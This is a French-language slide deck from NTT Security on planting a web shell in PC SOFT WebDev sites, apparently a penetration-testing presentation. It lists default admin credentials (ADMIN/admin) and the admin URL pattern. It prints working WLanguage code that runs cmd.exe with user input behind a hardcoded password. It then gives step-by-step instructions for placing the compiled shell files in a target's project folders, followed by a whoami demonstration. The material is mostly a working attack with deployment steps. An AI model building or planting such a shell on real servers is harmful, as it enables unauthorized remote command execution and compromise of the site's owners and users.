NTT Security

Invite de commande pour la toile En WebDev

Antoine CERVOISE

[WebShellDev]-[External]-[Final]-v[1.0]

WebDev : interface d'admin

URL d'admin :

- http://cible.tld/WDAdminWebXX0/
- XX 🗇 Version de WebDev

Identifiant/mot de passe :

• ADMIN/admin

Possibilité :

• Téléversement de fichiers

WebDev

ASP

Source : <u>https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors/asp</u>





V	VebDe	9 V
	Command	
- AND	Pass	
	Submit	
A CONTRACTOR OF	Result:	

© 2018 NTT Security

	Clic de BTN_Validate (serveur) * AJAX	Si Erreu		
₽SI	Pass = "PassToto2018?" ALORS			
	LanceAppli("cmd.exe /c"+ Input + ">resulttxt")			
 	// Déclaration des variables			
	IDFichier est un entier			
Ļ	LigneLue est une chaîne			
曱	// Ouverture du fichier			
L	IDFichier = fouvre("result.txt")			
曱	// Affichage du message d'erreur si l'ouverture n'a pas été	effectuée		
	SI IDFichier = -1 ALORS			
	Erreur(ErreurInfo(<i>errMessage</i>))			
	SINON			
	BOUCLE			
曱	// Lecture de la première ligne du fichier			
	LigneLue = fLitLigne(IDFichier)			
P	SI ErreurDétectée ALORS			
	Erreur(ErreurInfo())			
	SORTIR			
L	FIN			
曱	// Fin de fichier ?			
L	SI LigneLue = <i>EOT</i> ALORS SORTIR			
	// Traitement de la ligne lue			
曱	// Ici ajout à la fin d'un champ de saisie			
	Result += [RC] + LigneLue			
Ļ	FIN			
	// Fermeture du fichier			
	<pre>fFerme(IDFichier)</pre>			
L	FIN			
FT	N			

WebDev – « Type » de site

Compiler en « Dynamique WebDev » puis en « Dynamique AWP »

Description du projet					
Projet	Informations sur le projet Un projet regroupe et organise tous les éléments d'une application : fenêtres, pages, états, requêtes, menus,				
Analyse	traitements,	WebShell2			
Fichiers	Répertoire du projet :	C:\Mes Sites\WebShell2			
	Description du projet :	Le projet a pour but de			
Cer Live Data	Page d'accueil :	Accueil			
Langues	Première page dynamique :	<aucune></aucune>			
Ambiance Styles	Répertoire de la liste des tâches :	C:\Mes Sites\WebShell2\Taches			
GDS	Icône du site :	Catalog	gue		
Solutions	Type de site O Dynamique WebDev O Dynamique AWP O Dynamique PHP Statique				
SaaS Site SaaS (Software as a Service) Utiliser le mode "Connexion automatique"					
Compilation	Adresse du serveur SaaS po	ur le mode test : Nom du serveur ou adresse complète			
		(laisser vide pour utiliser le serveur SaaS local)			
	Description de la configuration courante				



WebDev – Dépôt du fichier

WebShell :

- Nom du projet WebDev : WebShell 2
- Nom de la page : PAGE_Test

Cible

- Nom du projet : WDAdminSaas
- Lien de l'invité de commande pour la toile: http://cible/WDAMINSAAS170_WEB/FR/Page_Test.awp

- 1. Récupérer dans : C:\Mes Sites\WebShell2\Exe :
 - PAGE_Test.awl
 - WebShell2.wdl
- 2. Les déposer dans %WebDevProjetFolder%/WDAdminSaas170/
- 3. Récupérer dans C:\Mes Sites\WebShell2\FR
 - PAGE_Test.awp
- 4. Le déposer dans %WebDevProjetFolder%/WDAdminSaas170/WDAMI NSAAS170_WEB/WDAdminSaas170/FR
- 5. Editer/Créer le fichier %WebDevProjetFolder%/WDAdminSaas170/WDAMI NSAAS170_WEB/WDAdminSaas170/FR/.WDConfig.a wp en ajoutant :
 - SITED * WDAdminSaas170



WebDev

Whoami

:/WDadminSAAS180_WEB/FR/PAGE_Test.awp		
whoami ×		
r		



Thank you